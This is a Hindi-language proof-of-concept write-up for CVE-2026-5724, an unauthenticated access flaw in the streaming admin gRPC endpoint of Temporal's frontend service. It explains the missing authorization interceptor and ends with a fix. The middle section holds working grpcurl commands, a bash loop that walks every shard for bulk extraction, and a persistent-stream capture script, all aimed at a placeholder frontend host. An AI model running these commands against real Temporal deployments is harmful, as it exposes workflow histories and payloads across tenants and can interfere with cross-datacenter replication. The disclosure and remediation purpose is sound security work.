
CVE-2026-5724 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Temporal के फ्रंटएंड gRPC सेवा में एक प्रमाणीकरण बायपास जो वर्कफ़्लो प्रतिकृति डेटा तक अनधिकृत पहुंच की अनुमति देता है।
Temporal फ्रंटएंड सेवा स्ट्रीमिंग gRPC RPCs पर प्रमाणीकरण लागू नहीं करती है। स्ट्रीमिंग इंटरसेप्टर श्रृंखला प्राधिकरण इंटरसेप्टर को छोड़ देती है, जिससे बिना प्रमाणित कॉलर्स AdminService/StreamWorkflowReplicationMessages तक पहुंच सकते हैं, जो एक विशेषाधिकार प्राप्त एडमिन-केवल एंडपॉइंट है जो सभी नेमस्पेस में वर्कफ़्लो प्रतिकृति डेटा स्ट्रीम करता है।
फ्रंटएंड gRPC सर्वर service/frontend/fx.go पर दो इंटरसेप्टर श्रृंखलाएं कॉन्फ़िगर करता है। स्ट्रीमिंग श्रृंखला में केवल मेट्रिक्स के लिए telemetryInterceptor.StreamIntercept शामिल है और कोई प्रमाणीकरण नहीं:
authorization.Interceptor प्रकार केवल एक यूनरी इंटरसेप्टर विधि (Intercept) लागू करता है। कोई स्ट्रीमिंग समकक्ष मौजूद नहीं है। फ्रंटएंड का एकमात्र स्ट्रीमिंग RPC AdminService/StreamWorkflowReplicationMessages है, जो https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 के अनुसार {Scope: ScopeCluster, Access: AccessAdmin} की आवश्यकता होनी चाहिए। स्ट्रीमिंग कॉल admin_handler.go:1904 पर हैंडलर तक बिना किसी प्राधिकरण के पहुंचती है, जहां यह सीधे आंतरिक इतिहास सेवा के प्रतिकृति एंडपॉइंट पर प्रॉक्सी करती है।
एक Temporal डिप्लॉयमेंट लें जो फ्रंटएंड gRPC API को उजागर करता है।
बिना किसी क्रेडेंशियल के स्ट्रीमिंग AdminService RPC को कॉल करें:
grpcurl -max-time 15 \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
# स्ट्रीम कनेक्ट होती है। सर्वर प्रति शार्ड exclusiveHighWatermark सहित प्रतिकृति स्थिति के साथ प्रतिक्रिया देता है। सक्रिय प्रतिकृति के दौरान,
# प्रतिक्रिया में क्रमबद्ध वर्कफ़्लो इतिहास घटनाएं होती हैं:
# {
# "messages": {
# "replicationTasks": [{
# "namespaceId": "...",
# "workflowId": "...",
# "runId": "...",
# "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
# ...
# }],
# "exclusiveHighWatermark": "148293"
# }
# }
सभी शार्ड्स को पुनरावृत्त करने और बड़े पैमाने पर डेटा निकालने के लिए:
#!/usr/bin/env bash
set -euo pipefail
TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"
CLUSTER_ID="${3:-1}" # initialFailoverVersion: 1=सक्रिय, 2=फेलओवर
ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"
for SHARD in $(seq 1 "${NUM_SHARDS}"); do
grpcurl -max-time 10 \
-H "temporal-client-cluster-id: ${CLUSTER_ID}" \
-H "temporal-client-shard-id: ${SHARD}" \
-H "temporal-server-cluster-id: ${CLUSTER_ID}" \
-H "temporal-server-shard-id: ${SHARD}" \
-d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
"${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done
स्ट्रीम को लगातार खुला रखने और वास्तविक समय में प्रतिकृति घटनाओं को कैप्चर करने के लिए:
(
while true; do
echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
sleep 5
done
) | grpcurl -d @ \
-H "temporal-client-cluster-id: 1" \
-H "temporal-client-shard-id: 1" \
-H "temporal-server-cluster-id: 1" \
-H "temporal-server-shard-id: 1" \
temporal-frontend.example.com:443 \
temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages
फ्रंटएंड तक पहुंच रखने वाला हमलावर सभी नेमस्पेस और टेनेंट्स में वर्कफ़्लो प्रतिकृति डेटा पढ़ सकता है — वर्कफ़्लो आईडी, रन आईडी, इतिहास घटनाएं, गतिविधि पेलोड बिना किसी क्रेडेंशियल के। हमलावर SyncReplicationState संदेश भेजकर क्रॉस-डेटासेंटर प्रतिकृति में हस्तक्षेप भी कर सकता है, और आंतरिक इतिहास सेवा के लिए एक पुल प्राप्त करता है जो सामान्य रूप से कभी भी बाहरी रूप से उजागर नहीं होती है।
authorization.Interceptor पर एक StreamServerInterceptor लागू करें और इसे service/frontend/fx.go:292-296 पर स्ट्रीमिंग श्रृंखला में जोड़ें:
streamInterceptor := []grpc.StreamServerInterceptor{
telemetryInterceptor.StreamIntercept,
authInterceptor.StreamIntercept, // स्ट्रीमिंग RPCs पर प्रमाणीकरण लागू करें
}